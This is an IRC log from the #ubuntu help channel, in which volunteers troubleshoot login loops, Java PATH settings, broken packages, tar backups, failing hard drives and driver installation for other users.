[16:32] <KI7MT> helasraizam, info: https://help.ubuntu.com/community/CheckInstall
[16:33] <avnish> what is gcc
[16:33] <kalekip1> faugusztin: OerHeks: https://www.dropbox.com/s/b81oe6ot7180gna/20130918_183045.jpg https://www.dropbox.com/s/rmameqjzyb6wz0w/20130918_183104.jpg
[16:33] <zacts> does ubuntu 1 online storage establish an encrypted network connection, and if so, what kind of encryption does it use?
[16:33] <kalekip1> faugusztin: OerHeks: in Windows these together work fine...
[16:33] <avnish> i wan to study hacking from the base
[16:33] <kalekip1> avnish: ##security
[16:33] <kalekip1> !ot | avnish
[16:34] <k1l> avnish: hacking is not allowed in here. so please stop to ask for that
[16:34] <faugusztin> kalekip1: i apologize but that doesn't say anything to me, i see that one device is analog, where is the second sound device ? it is an analog connection ? or HDMI ? or what ?
[16:34] <etc> hi guys, sorry to say but its me, am back having corrected the path under etc/environment and added my tomcat variables to etc/profile.d/ still the issue is persisting, when i login either as guest or my own username, am returned to the same login screen,
[16:35] <faugusztin> kalekip1: or is one analog at back and another at front ? then i don't think it works
[16:35] <kalekip1> faugusztin: I think the last. Why does it work in Windows?
[16:35] <faugusztin> kalekip1: you probably were using a windows realtek driver feature, which was pushing the same sound to both back and front connectors
[16:36] <KI7MT> need to blacklist that driver and modprobe the correct one.
[16:36] <kalekip1> faugusztin: Yes, I think that's it. Don't I have an option to do that on Ubuntu?
[16:36] <KI7MT> whoops, wrong channel again, sri.
[16:37] <faugusztin> kalekip1: i don't think so, but you need to ask more knowledgeable. i know i was able to push sound out simultaneously via onboard HDMI and analog sound, which is technically the same sound card, but never tried two analog outputs.
[16:39] <SeventhSamuari> 2.4ghz mouse question. When ever my laptop is not plugged into a power source it lags. I have looked all over the power setting and I dont see anything that would cause it. Any ideas?
[16:40] <KI7MT> SeventhSamuari, The mouse Lags or the Computer lags ?
[16:40] <SeventhSamuari> mouse
[16:40] <faugusztin> SeventhSamuari: so if you connect a cabled one, it works fine ?
[16:40] <SeventhSamuari> i dont own one but the track pad works fine. as soon as i plug it into the power it works fine
[16:41] <elithebest> hi
[16:42] <elithebest> there are any italian?
[16:42] <k1l> !it | elithebest
[16:43] <KI7MT> SeventhSamuari, It's a guess but something is probably takign too much pwr when ur plugged into ac, check top, atop, htop and see si there's any process using lots of CPU cycles.
[16:43] <faugusztin> SeventhSamuari: by 2.4GHz you mean rf or bluetooth mouse ?
[16:44] <KI7MT> SeventhSamuari, also: sudo apt-get install bluez-hcidump then monitor BT activity for any clues
[16:44] <elithebest> ok grazie
[16:45] <KI7MT> like:sudo hcidump -x -i hciX  or sudo hcidump -x -A -i hciX -w ~/output
[16:45] <SeventhSamuari> bluetooth
[16:45] <etc> what is the cause and fix of an issue where when i/user enters correct username aand password and then is returned to the same login screen, am stuck, all i thought would be the cause seems not to bring back the fix, some extra help please
[16:46] <SeventhSamuari> Ok, Thanks i'll try looking at some of those and I'll get back to you guys
[16:46] <SubCool> If i were to zip up my home folder, would it include the hidden files? or would i have to tar it with attributes
[16:47] <genii> etc: Various issues can be to blame. The most common is permissions in the user's home directory have changed, usually by some accident like running something as root in there
[16:48] <KI7MT> SubCool, if you include ./* it would be "all" files / folders.
[16:48] <kalekip1> I had to reboot >.<
[16:48] <etc> genii: i have manually editted some files using a live cd, perhaps it is the issue, what then is the way out
[16:48] <etc> ?
[16:49] <MrMonkey13> bye #ubuntu
[16:49] <genii> etc: If the affected user is the only user on the system with sudo/admin rights, need to boot into single-user ( or mount from livecd ) and do a chown -R <their-username>:<their-username> /home/<their-username>       (adjust path accordingly if mounting from livecd)
[16:51] <wessel> Every time I sleep (suspend) this machine, it no longer wakes up.
[16:51] <wessel> Is this because I don't have a swap partition?
[16:51] <wessel> running ubuntu 13
[16:51] <columb> wessel, I don't think so. 13.04 without swap suspending fine for me.
[16:51] <KI7MT> SubCool, example:  tar -c --xz -f ~/home-$(date)-.tar.xz  $HOME/* shoud pull .dot files & folders
[16:51] <kalekip1> wessel: I think I had the same problem. Not sure though
[16:52] <SubCool> KI7MT,  tar -cvpzf backup.tar.gz /home/subcool/
[16:52] <SubCool> tar: Removing leading `/' from member names
[16:52] <SubCool> tar (child): backup.tar.gz: Cannot open: Permission denied
[16:52] <kalekip1> wessel: I'll try it right now for ya
[16:52] <nibbler> SubCool: prepend sudo
[16:52] <SubCool> shouldnt ihave rights to the folder?
[16:53] <nibbler> SubCool: don't konw, maybe you should. maybe thats whats wrong.
[16:53] <wessel> http://wafflesatnoon.com/2012/11/17/ubuntu-suspend-wont-wake-up-my-quest/
[16:53] <wessel> Success
[16:53] <wessel> I finally found success by merely changing from the open source video driver to a proprietary one.
[16:53] <etc> genii: i see two <their-username>:<their-username>  do i need to enter the same value?
[16:53] <SubCool> anyone know?
[16:53] <faugusztin> etc: yes, it is user:group, which should be same for a typical user
[16:54] <anshulk> Hi everyone !
[16:54] <faugusztin> SubCool: do you have the rights to write in the folder where you are tryint to create the backup.tar.gz ?
[16:54] <KI7MT> SubCool, sudo got nothing to do with it, it's a tar oder things, czfP should stop that.
[16:54] <anshulk> need some help in building cups
[16:54] <KI7MT> Assuming it's the Users home directory.
[16:54] <SubCool> kinda makes sense then. let me try something else.
[16:54] <anshulk> anybody experienced ?
[16:54] <genii> etc: If their group name is same as their username, just put:  <their-username>:     <-- with the colon after
[16:55] <etc> faugusztin: great to hear from u, you made it for me the other time, thanks genii for all
[16:55] <SubCool> yeah, i think it was the fact i was in a root folder
[16:56] <KI7MT> SubCool, from man tar:  Use the --absolute-names or -P option to disable this feature  that's what's causing the strip / comments.
[16:56] <helasraizam> Sorry guys got disconnected.  Someone was explaining to me how to remove a broken package in Ubuntu?
[16:57] <KI7MT> SubCool, as for tar /root, that would be permission denied or some such thing, not stripping the / from the absolute path
[16:57] <columb> helasraizam, tried apt-get install -f ?
[16:58] <dheeraj_> Hii all
[16:58] <columb> helasraizam,  or try Synaptic. It's more friendly.
[16:58] <cariveri> Hi. my xubuntu/ubuntu 13 splash is broken ugly. why is that and wha tcan I do about it?
[16:58] <dheeraj_> I want to format my external hardisk
[16:58] <dheeraj_> how can i
[16:59] <columb> dguerri, GParted.
[16:59] <dheeraj_> it is shoing unknown file system in GParted
[16:59] <columb> It's shouldn't be a issue since you formatting it.
[16:59] <geirha> dheeraj_: should it have a file system?
[17:00] <KI7MT> dheeraj_, make sure you unmount "umount" the drive first, then del old partition, create new, add format.
[17:01] <kalekip1> Back
[17:01] <etc> genii: faugusztin: run chown -R myusername:myusername home/myusername  and it returned chown: invalid user: `myusername:myusername'  any way out?
[17:01] <kalekip1> wessel: You still there?
[17:01] <kalekip1> wessel: I am running 13.04and have the same issue
[17:01] <etc> myusername == my user name i use on my pc as admin
[17:01] <SJr> I am having problems copying a file from a drive, and when I check /var/log/messages on Ubuntu server I get the following error: http://www.pastebin.ca/2454245.
[17:02] <helasraizam> columb, thanks, synaptic doesn't uninstall, upgrade, or fixbrokenpackage (the removal script of my package returns an error and quits), and sudo apt-get install -f (even with --force-all) quits on the same error
[17:02] <genii> etc: You need to substitute "myusername" with the user who is supposed to be owning the directory with their name. Also a leading / before home if you are doing this booted to the hard drive
[17:03] <columb> helasraizam,  what's the name of package? What's the error?
[17:03] <etc> genii, yes i substituted that,
[17:04] <etc> adding the /
[17:04] <KI7MT> SJr, I dont see the problem, smartctl is an application, its telling you there were no errors on /dev/sdc so not logging any.
[17:04] <columb> helasraizam, have you tried  dpkg --remove -force --force-remove-reinstreq yourpackagenamehere?
[17:05] <etc> genii: again the same thing is returned
[17:05] <faugusztin> etc: but you are running that on your system, or in livecd enviroment ?
[17:06] <etc> faugusztin: right on a livecd
[17:06] <KI7MT> SJr, also to run tests, command invocation is: smartctl -t /dev/sdc
[17:06] <helasraizam> columb, The package is emacs-snapshot from Cassou's repo (the bug's been posted), the error is Byte-compilation for emacs-snapshot failed.  I'll try that now!
[17:06] <helasraizam> columb, returns "dpkg: error: conflicting actions -f (--field) and -r (--remove)"
[17:06] <faugusztin> SJr: looking at that drive stats... if it is a desktop drive, i would recommend to change the SATA cable
[17:06] <TomyLobo> hi
[17:06] <TomyLobo> i previously installed java7u25 from this ppa: https://launchpad.net/~webupd8team/+archive/java
[17:07] <faugusztin> etc: chroot or boot your normal system and do that command there
[17:07] <raven> hi. I'm having some trouble with wine in ubuntu 12.04... anyone willing to help me? Or is there a wine channel?
[17:07] <TomyLobo> now i updated to 7u40, but it breaks the project i'm working on. how do i downgrade?
[17:07] <irreverant> what are you running in wine?
[17:07] <raven> irreverant, I'm trying to run an academic program called Logic 2010
[17:08] <kalekip1> !ot | raven
[17:08] <TomyLobo> the old package version isnt there anymore, nor does it show up in aptitude
[17:08] <faugusztin> TomyLobo: what do you mean by "breaks" ? if it does break, it's time to fix the problem with your code
[17:08] <kalekip1> wessel: Are you still there?
[17:08] <TomyLobo> faugusztin: not possibly, because that would break it on earlier java versions
[17:08] <raven> thanks
[17:09] <TomyLobo> not possible*
[17:09] <KI7MT> TomyLobo, is 7u40 breaking you project or the 8xx ?
[17:09] <TomyLobo> 7u40
[17:09] <TomyLobo> i need 7u25, basically
[17:09] <faugusztin> TomyLobo: you can still just download the installer from oracle and install it elsewhere
[17:09] <etc> faugusztin: how about having "PATH="...(other path):$JAVA_HOME:$JRE_HOME""   in a newly created .sh file added to /etc/profile.d,  won't it have any impact on my path i just reset in /etc/environment
[17:09] <etc> ?
[17:09] <TomyLobo> that's my backup plan
[17:10] <TomyLobo> does launchpad keep backups of packages somewhere?
[17:10] <faugusztin> etc: add $PATH to the end
[17:10] <TomyLobo> or is there some local package cache i could check?
[17:10] <geirha> etc: You'll probably want $JAVA_HOME/bin in there
[17:10] <KI7MT> Well you gonna have to remove J7RE .. they show how to install the PPA, but not remove it unfortunately.
[17:11] <Guest17032> hey guys.  I am having a problem.  I was trying to install gnome 3 and now I am getting a package with an unmet dependency.  I try apt-get -f install and that errors out as well.  I tried to remove gnome-shell and ubuntu-gnome-desktop and that errors out too.  Could anyone help me out with either removing this or getting it working?
[17:11] <etc> geirha: these are my contents in the file there
[17:11] <etc> JAVA_HOME=/usr/lib/jvm/java-6-openjdk-i386
[17:11] <etc> JRE_HOME=/usr/lib/jvm/java-6-openjdk-i386/jre
[17:11] <etc> PATH="...(other path):$JAVA_HOME:$JRE_HOME"
[17:12] <faugusztin> etc: PATH="...(other path):$JAVA_HOME:$JRE_HOME:$PATH"
[17:12] <geirha> etc: I'm pretty sure at least "$JAVA_HOME" does not contain any executables. Those will be in "$JAVA_HOME/bin"
[17:12] <faugusztin> etc: and yeah, what geirha said :)
[17:13] <Guest17032> here is what I get when I try to purge the package
[17:13] <Guest17032> http://paste.ubuntu.com/6124770/
[17:13] <KI7MT> TomyLobo, I'm sure there is 7u25 branch somewhere, but it's not on their PPA. If you really need that rev level, contact the maintainers, they should be able tore-build it from bzr pulls
[17:13] <KI7MT> be able to re-build ...
[17:13] <etc> faugusztin: thanks corrected that
[17:14] <Guest17032> and when I try apt-get -f install, this is what I get: http://paste.ubuntu.com/6124773/
[17:14] <genii> etc: Sorry for lag, work required me. What says the result of: ls -ld /home/username      ...where "username" is the one you are trying to correct
[17:14] <TomyLobo> hmm i know exactly nothing about bzw, except that it's a DSCM
[17:14] <Guest17032> Can anyone help?
[17:15] <Guest17032> it looks like if I rm the changelog.debian.gz it may finish, or am I mistaken?
[17:15] <MonkeyDust> Guest17032  what's the output of     cat /etc/issue
[17:16] <Guest17032> MonkeyDust, Ubuntu 13.04 \n \l
[17:16] <TomyLobo> about bzr*
[17:17] <TomyLobo> ok, i have a freshly built 7u40 package now :)
[17:17] <KI7MT> TomyLobo, the PPA is posting binary's, which are build from source obviously, so if you can get the source history, or have them build from 7u25 source history level, that should do it, but I'd also check why 7u40 is breaking and 7u25 is not.
[17:17] <wilee-nilee> Guest17032, did you add a PPA?
[17:17] <Guest17032> wilee-nilee, yes
[17:17] <MonkeyDust> Guest17032  in a terminal, paste this line, what's the outpu     sudo apt-get install pastebinit;sudo apt-get update|pastebinit
[17:17] <etc> geirha: am finding it heard to understand your last message to me, still are you proposing something like PATH="...(other path):$JAVA_HOME/bin:$JRE_HOME:$PATH"
[17:17] <wilee-nilee> Guest17032, We don't support them and that is the problem.
[17:18] <etc> ?
[17:18] <Guest17032> wilee-nilee, trying to install gnome3
[17:18] <TomyLobo> KI7MT: i did, it's not fixable without breaking compatibility to 7u25
[17:18] <SJr> KI7MT, hmmmm I would have that SMART would notice the problems with reallocated sectors.
[17:18] <SJr> faugusztin, what makes you say that, I'm just curious?
[17:18] <faugusztin> etc: yes -  $JAVA_HOME/bin:$JRE_HOME/bin:$PATH
[17:18] <wilee-nilee> Guest17032, gnome 3 is already there if you have unity.
[17:19] <SJr> I will change the SATA cable in a second but I will lose communication with this channel since my bounce is on that machine
[17:19] <SJr> or perhaps I should hotswap it.
[17:19] <Guest17032> wilee-nilee, don't follow
[17:19] <Guest17032> MonkeyDust, http://paste.ubuntu.com/6124792/
[17:19] <etc> faugusztin: thanks, wounderful
[17:19] <KI7MT> TomyLobo, Best bet is to contact the maintaner I'd say, set them to send a 7u25 build for you, if they will do it, I doubt they will.
[17:19] <wilee-nilee> Guest17032, unity is a plugin in compiz running on gnome 3 you want the gnome-shell for the gnome 3 dektop.
[17:19] <KI7MT> get them .. ..
[17:19] <faugusztin> SJr: you mean the errors ? the high error rates versus no reallocated blocks
[17:19] <wilee-nilee> desktop*
[17:20] <SJr> yeah
[17:20] <SJr> okay
[17:20] <Guest17032> wilee-nilee, and that is why I tried to install gnome-shell and ubuntu-gnome-desktop and now I am getting the error
[17:20] <SJr> thanks I'll be back in a bit
[17:20] <Guest17032> wilee-nilee, not sure what the problem iw.
[17:20] <TomyLobo> KI7MT: i'm fairly familiar with building source packages, i just need to figure out bazaar :)
[17:20] <faugusztin> SJr: next option is to run seatools/ wd data lifeguard diagnostic on that drive
[17:20] <genii> MonkeyDust: Might want sudo apt-get update 2>&1|pastebinit
[17:20] <SJr> okay
[17:20] <faugusztin> SJr: then RMA if it fails out :)
[17:20] <KI7MT> SJr, I was referring to logging, of the errors, what's the problem you need help resolving?
[17:20] <MonkeyDust> Guest17032  i guess some sources are disabled, look in system settings > updates and sources to find out
[17:21] <Guest17032> MonkeyDust, let me have a look
[17:21] <wilee-nilee> Guest17032, That failing install is from a ppa, the shell gives you the dektop and the fallback, you don't install the ubuntu-gnome-desktop
[17:21] <KI7MT> TomyLobo, Oh, well you can bzr co -r xxx .. it's fairy straight forward ..
[17:21] <SubCool> Can i mount an NFS over a WAN using my public IP address?
[17:21] <Guest17032> wilee-nilee, ok, so then how can I purge it?
[17:21] <TomyLobo> hah, the source download contains a bzr repo, whos base revision seems to be u25
[17:21] <TomyLobo> they didnt commit prior to building it :)
[17:21] <wilee-nilee> !ppa-purge | Guest17032
[17:22] <etc> genii" faugusztin: i think i need more clarification on the command, am to run, i have it as "chown -R etc:etc /home/etc" is it right?
[17:22] <rb-tnc> Hello all, I am having a real issue I can not figure out. Nautilus (File Manager (and up until I removed it Nemo)) constantly crashes when accessing the menu. When i right click  a file/folder and actually hit, rename, new, copy, paste.... is when it crashes. I have tried everything I know to try and figure out why and what is happening but I'm clueless, I am new to UNIX (less than 18 months). Any help would be greatly
[17:22] <rb-tnc> appreciated.
[17:22] <KI7MT> TomyLobo, but they have to have the source tree under bzr VCS  for you to do that.
[17:22] <Guest17032> MonkeyDust, not seeing anything disabled that is out of the ordinary.  the only disabled sources are the ones with (source code) listed
[17:22] <Guest17032> wilee-nilee, let me try that now
[17:22] <TomyLobo> KI7MT: what's the bzw equivalent of git reset --hard? :)
[17:22] <wilee-nilee> Guest17032, You also have held packages, are you or have you seen a partial upgrade in the update gui?
[17:23] <TomyLobo> or svn revert
[17:23] <KI7MT> TomyLobo, Pass, noty a git guru but can do a bit of googling
[17:23] <TomyLobo> (each without any further arguments)
[17:23] <genii> etc: The path will change according to where you are booted from. If you booted to the hard drive, that path is correct. If booted from a livecd, then append the directory name you maounted the hd under, typically /mnt
[17:23] <TomyLobo> KI7MT:  or svn revert
[17:23] <Guest17032> wilee-nilee, when I try to install ppa-purge I get the same error I have been getting about unmet dependencies.
[17:23] <Guest17032> wilee-nilee, I don't believe so.
[17:23] <TomyLobo> basically how do i trash all changes since the last commit
[17:24] <SubCool> whats the cli command to transfer files
[17:24] <SubCool> src?
[17:24] <SubCool> scr?
[17:24] <dv-> scp?
[17:24] <KI7MT> TomyLobo, See "revert": http://doc.bazaar.canonical.com/migration/en/survival/bzr-for-svn-users.html
[17:24] <genii> etc: If you're not sure where it's mounted, issue: mount        and it will report what is mounted where. If automaounted will typically be /media/<something>
[17:24] <Guest17032> wilee-nilee, it looks like I can't install anything or remove anything until that dependency is met.
[17:25] <TomyLobo> alright, same command :)
[17:25] <wilee-nilee> Guest17032, YOU have put yourself in a stuck position, another person will have to help you here.
[17:25] <Guest17032> wilee-nilee, I am not saying that it isn't my fault.  thank you for trying anyway.
[17:25] <Guest17032> MonkeyDust, any other suggestions?
[17:25] <DrFaustus> i'm running ubuntu 13.04 amd64 on a pentium 4 machine,what do u think about that?
[17:25] <KI7MT> TomyLobo, bascially: bzr revert -r 25  but you need to know what the 7u25 version was in order to revert to it.
[17:26] <MonkeyDust> Guest17032  none, try purging ppa's
[17:26] <KI7MT> bzr -r 25 is just example
[17:26] <Guest17032> MonkeyDust, I just tried that.  to install ppa-purge it still complains about the unmet dependency
[17:26] <SubCool> wilee-nilee, whats the cli command to transfers files at wirespeed
[17:26] <wilee-nilee> no idea
[17:26] <SubCool> scr
[17:26] <SubCool> src
[17:26] <SubCool> its associated with ssh
[17:27] <TomyLobo> looking good, thanks for the help, KI7MT
[17:27] <user82> is it a bug or a feature that apps in the launcher disappear on reboot? only the ones automatically added by the software center
[17:27] <etc> genii: am going to reboot and run it on the drive, thanks
[17:27] <TomyLobo> no i didnt need a revision number. as i said the u40 change was uncommitted
[17:27] <SubCool> scp
[17:27] <SubCool> got it
[17:28] <wilee-nilee> Guest17032, try running this then the purge. sudo dpkg --configure -a
[17:28] <KI7MT> TomyLobo, ohh.. ok,. no commit., so -r should work straight away then. Cool glad it worked.
[17:29] <DrFaustus> ERROR###ERROR###ERROR###ERROR###ERROR###ERROR###ERROR
[17:29] <DrFaustus> Failed to lock /var/lib/apt/lists/lock
[17:29] <Guest17032> wilee-nilee, trying now
[17:29] <wilee-nilee> DrFaustus, Do you have more than one installer open like synaptic while running a apt-get...etc
[17:29] <TomyLobo> $ java -version\njava version "1.7.0_25"
[17:29] <TomyLobo> perfect :)
[17:29] <KI7MT> :-)
,nope
[17:30] <faugusztin> TomyLobo: it will perfect until your clients upgrade to 1.7.0_40 :)
[17:30] <genii> etc: Don't forget to issue: mount -a -o remount,rw     if booted to recovery
[17:30] <genii> Bah, left
[17:31] <Marlenee> !paste
[17:31] <KI7MT> just set apt t- Not upgrade that pkg,
[17:31] <wilee-nilee> DrFaustus, Some details then leading to this.
[17:31] <nydel> hello
[17:31] <wilee-nilee> !tab | DrFaustus
,how can it b fixed?
[17:31] <wilee-nilee> !details | DrFaustus
[17:31] <SJr> faugusztin, hmmmmm switching the SATA cable didn't help.
[17:31] <KI7MT> TomyLobo, : echo <package> hold | sudo dpkg --set-selections
[17:32] <TomyLobo> faugusztin: taken care of that :)
[17:32] <Marlenee> anyone know what typr of panel this in the pic - http://imagebin.org/271283
[17:32] <SJr> Is seatools / wd data lifegaurd really going to save the data or drive. If I don't mind buying a new drive it's a safe bet at this point I need one correct. There are also other errors, in the sys log. http://pastebin.ca/2454265
[17:33] <faugusztin> SJr: no, but you will have a report you can present to RMA that your drive is faulty
[17:33] <TomyLobo> KI7MT: or "hold" in aptitude? :)
[17:33] <SJr> okay so I need to buy a new drive no matter what.
[17:33] <nydel> haven't seen it, Marlenee, but it's prettty
[17:33] <nydel> i've been using lxpanel
[17:33] <bekks> SJr: Maybe it gets replaced.
[17:33] <SJr> buying a new drive is cheap and I should get my data off as soon as possible. I don't have a place for it now.
[17:33] <faugusztin> DrFaustus: lsof | grep /var/lib/apt/lists/lock
[17:34] <DrFaustus> ok,t,   i'm running ubuntu 13.04 amd64 on a pentium 4 machine,what do u think about that?
[17:34] <Marlenee> nydel : yeah i need to know what is that product i get it on freehosting sites
[17:34] <KI7MT> TomyLobo, Aptitude: sudo aptitude hold package_name  .. dpkg echo "package hold" | sudo dpkg --set-selections
[17:34] <bekks> DrFaustus: Its getting cold outside nowadays - you already have your heating ;)
[17:35] <nydel> Marlenee: wait is that a desktop window manager? or a website?
, but hyperthreading is enabeled
[17:36] <bekks> DrFaustus: Ah, heating step 2.
[17:36] <DrFaustus> actually a can c 2 cpu's runnung in sys.monitor
[17:37] <bekks> DrFaustus: I know what HT is - but it doesnt chaneg the fact that a P4 is a pretty old computer.
,it's not heating at all
[17:37] <KI7MT> TomyLobo, also in Snypatic Package Manger, select package and: Lock Version works too .. just found that one.
[17:37] <Marlenee> nydel : see PM
[17:38] <Marlenee> !panal
[17:38] <KI7MT> Lock-em' all I say, when in doubt, lock-em down :-)
,do u mean that hyper-threading is useless?
[17:39] <nydel> Marlenee: very intrusive little homepage they have hehe -- what do you mean you get it on freehosting sites, is it a control panel you use via a web browser?
[17:39] <Marlenee> nydel : yes
[17:40] <KI7MT> DrFaustus, depends on the application, if it is parallel enabled or not. If not, then only one core used anyway.
[17:40] <bekks> DrFaustus: No, but it is old, slow, and consumes a lot of power.
[17:40] <zanberdo> I have a need to install Ubuntu 10.04 LTS, however now that it's outside of support the original repos are no longer valid.  I need to know how I can point to oldreleases.ubuntu.com during install
[17:40] <alexa> guys, I'd like to create some drag and drop script. It's about replacing some characters. I will use "replace", it comes installed with mysql. But I'm having the problem with drag and drop. What should my script look like?
[17:40] <Marlenee> that site is for free they give you panel like in the pic
[17:40] <nydel> Marlenee: can't you just log in & access it, see what it's called that way?
[17:40] <alexa> replace "čćđšž" "ccdsz"-- "$1"
[17:40] <alexa> this "$1" should be the dropped text file
[17:40] <alexa> but it won't work
[17:40] <nydel> it looks like some sort of wysiwyg app
[17:41] <alexa> any hint?
[17:41] <Marlenee> nydel : i am in my account now and search for any info about it and i dont found anything
[17:42] <KI7MT> $1 is whatever follows ccdz ... for example ./configure --testing .. $1 would = -"-testing"
[17:42] <nydel> Marlenee: is the name in the url perhaps?
[17:42] <nydel> Marlenee: it could be original software belonging to that company
[17:42] <SJr> faugusztin, any recommendation on a replacement hard disk?
[17:42] <Marlenee> nydel : no
[17:43] <Marlenee> any free panel that allow me to uplaod and downlaod and edit any files via web browser
[17:43] <Marlenee> not webmin or zpanal
[17:43] <alexa> KI7MT, you mean, I should get rid of " "
[17:43] <SJr> I'm looking at either a 3TB Green or a 4 TB red.
[17:44] <DrFaustus>  how can i use your <tab> key for autocompletion of nicknames in IRC?
[17:44] <DrFaustus> how can i use  <tab> key for autocompletion of nicknames in IRC?
[17:44] <alexa> DrFaustus, what irc client are you usin'?
[17:45] <KI7MT> alexa that's example, ccdsz --example would mean:  xxdsz example with $1 = example without " .. "
[17:45] <Pici> DrFaustus: start typing the nick and then press tab.
[17:45] <DrFaustus> Xchat
[17:45] <bekks> DrFaustus: Type "bek" and press tab.
[17:45] <alexa> KI7MT, I don't get it.
[17:46] <faugusztin> SJr: depends on your needs, i personally use WD drives only, but green die a lot, i have reds for about a year now, they are running fine so far, but who knows what will happen later
[17:46] <KI7MT> alexa, so if ccdsz wants a file or path or option, $1 will be the first optoin after ccdsz invocation
[17:47] <alexa> ccdsz are the characters that should replace the original
[17:47] <KI7MT> ccdsz --path=/home/alexa  ... so $1 = /home/alexa
[17:48] <alexa> ok
[17:48] <KI7MT> so $1 is just whatever follows the ccdsz invocation
[17:49] <DrFaustus>  what irc client is mostly used in ubuntu?
[17:49] <hid> DrFaustus: xchat or pidgin
[17:50] <KI7MT> xchat, gnome-chat, irssi as many flavors as there are *Nix distro's
[17:51] <DrFaustus> so u think i'd better install ubuntu i386 edition?
[17:53] <bekks> DrFaustus: No. You have 64bit processor, so use the 64bit edition. And that still doesnt change ... <I just told you ;) >
 ,i don't think i get u right,will u just explain it more?
[17:55] <bekks> DrFaustus: You have a pretty old computer, consuming very much power, being not that fast.
[17:56] <KI7MT> So mu Q6600 HT is nto good
[17:56] <DrFaustus> so,how can i fix this situation,<bekks> ?
[17:57] <bekks> DrFaustus: By getting a more recent computer, basically.
[17:57] <bekks> KI7MT: The Q6600 is about 6 years old.
[17:57] <KI7MT> 64bit on a machine with =-< 4GB of RAM is a waste anyway.
[17:57] <bekks> KI7MT: Which is not true at all.
[17:57] <soen> Hey, first time using ubuntu, how do I run stuff from here?
[17:57] <soen> https://launchpad.net/ubuntu/+source/bcmwl/6.20.155.1+bdcom-0ubuntu6
[17:58] <KI7MT> I know, it's 6yrs I have about 10 of them,  and a QX9770 and a X68., they all work and work well.
[17:58] <hdon> soen, run stuff?
[17:58] <DrFaustus> now u made yourself clear,excuse my ignorance,bekks
[17:58] <soen> uhh, I need to get that driver installed and I'm not sure how
[17:58] <bekks> KI7MT: No one said they dont do their job anymore.
[17:59] <funky1> can someone help me with nfs and subdirectories in export that don't show up?
[17:59] <funky1> http://pastebin.com/fNJfh4Tq
[17:59] <KI7MT> bekks, I suppose in a literal sense, if you need 64bit for some specific reaon that is in accurate, but for generaql computing 64bit is a wate of space.,
[17:59] <hdon> soen, oh, you need help building and installing a kernel module
[17:59] <bekks> KI7MT: Which is not true at all, again.
[17:59] <soen> hdon: yes, I guess you can phrase it that way.
[17:59] <hdon> soen, you may want to check out the command "m-a"
[18:00] <hdon> soen, it's an ncurses program
[18:00] <KI7MT> Ok what is true then, that this argument is open ended and is not really helping anyone?
[18:00] <hdon> although i suppose it also has command-line interface
[18:00] <soen> hmm give me a sec
[18:00] <KI7MT> or that all my old hardware is better off in the scrap heap?
[18:01] <KI7MT> or that I should run out an buy an i7 to run 64bit SW
[18:01] <bekks> KI7MT: Sounds like you're looking for an unfriendly discussion. I am stopping that from my side now. EOD.
[18:01] <k-joseph> hi guys, that was really good, am so grate full to all of you beloved that are patiently guiding us, thanks so much genii, faugusztin plus all of your guys that have guided me, may God bless you all, it is me that was before appearing as Guest70717 and as etc, i have resolved the issue and am now back in my enviroonment, the issue was with the wrong path value i had in /etc/environment  which i resolved, and also the new path value i had added in /etc/profile
[18:01] <k-joseph> .d/java_variables.sh   that was really a good and remarkable experience :)
[18:01] <Soen> installed m-a just now
[18:01] <mrrcp> bekks: what version of ubuntu are you operating
[18:02] <AcidRain2012> do you write to a remote file the same way you do a localfile?
[18:02] <bekks> mrrcp: Depends on the specific box. 11.04 (still), 12.04, 13.04, 13.10
[18:02] <KI7MT> No, not at all, just trying to understand what was true and not true, but ok EOD
[18:02] <hdon> AcidRain2012, a "remote file" could be many things. what do you mean?
[18:02] <Soen> hplc, does that help me with anything
[18:02] <hdon> Soen, assuming you mean me... yes that will install m-a / module-assistant
[18:03] <AcidRain2012> well. a public remote file that doesnt have ftp access
[18:03] <AcidRain2012> its only public by apache
[18:03] <hdon> Soen, you may want to google for a tutorial on module-assistant, maybe there is even one specifically with your hardware in mind
[18:03] <hdon> Soen, what is the hardware you're trying to use?
[18:03] <mrrcp> could i update my system to 13.10? from 12.04?
[18:03] <mrrcp> or should i do a fresh install
[18:03] <hdon> AcidRain2012, you should ask in #apache i think
[18:03] <AcidRain2012> cool thx
[18:03] <Soen> oh hdon, sorry, switched computers. I'm trying to get updates in order to use my wifi
[18:04] <hdon> mrrcp, i've heard people have no problems doing the update, however you do need free space on your root filesystem to make the transition
[18:04] <bekks> mrrcp: Yeah, update to 12.10, to 13.04 to 13.10 - and 13.10 is supported in #ubuntu+1 only, yet.
[18:04] <Soen> hdon, from the website I linked earlier
[18:04] <hdon> Soen, yes, do you know what kind of wifi device you have? the chipset is the critical information as many different looking and differently named products have the same chipsets in them which actually talk to the computer and do most of the work
[18:05] <Soen> hdon, yes the link I posted was the exact thing I needed, I just don't know what to do with it or what terminal commands to run
[18:05] <Marlenee> i finally get all info about the file manger panel - http://imagebin.org/271291
[18:05] <DrFaustus> sorry,bekks,but i've just added u 2 freind list if u don't mind it
[18:05] <hdon> Soen, i'm sure that website makes a lot of sense to a person familiar with the hardware it is relevant to, but i don't, i just want to make sure you are investigating the correct driver for your hardware :)
[18:05] <dobry-den> Is there a general reason one would use aptitude instead of just apt-get? i'm trying to figure out why Linode's Bash StackScript installs aptitude in the first place: https://www.linode.com/stackscripts/view/?StackScriptID=1
[18:05] <mrrcp> whats new with 13.10
[18:06] <hdon> dobry-den, i've heard that aptitude is more aggressive and intelligent with regards to dependency resolutions but i am skeptical and never bothered to investigate
[18:06] <bekks> mrrcp: After its release, you can read the changelog at http://www.ubuntu.com/getubuntu/releasenotes
[18:07] <mrrcp> any big improvements?
[18:07] <mrrcp> that you have seen
[18:08] <KI7MT> dobry-den, Apt / Aptitude Deltas: http://www.debian.org/doc/manuals/debian-reference/ch02.en.html#_literal_apt_get_literal_literal_apt_cache_literal_vs_literal_aptitude_literal
[18:08] <Dirkos> I keep getting a 403 forbidden when i wanna access my recent created apache docroot
[18:08] <Dirkos> what should i do?
[18:08] <hdon> mrrcp, i would bet if you use unity you'll want to update. otherwise, 12.04 is an LTS release so it's should be fine to stick with that until a new LTS comes out
[18:08] <bazhang> #httpd Dirkos
[18:09] <DJones> mrrcp: Probably best asked in #ubuntu+1 which is the support channel for development versions, the people there are most likely to have been using it and can give you a better idea
[18:09] <Dirkos> bazhang: apache2?
[18:09] <bazhang> Dirkos, yes
[18:09] <silvio-> is there a specific format init.d script must be in?
[18:09] <bekks> !upstart | silvio-
[18:10] <vlitomsk> Hello
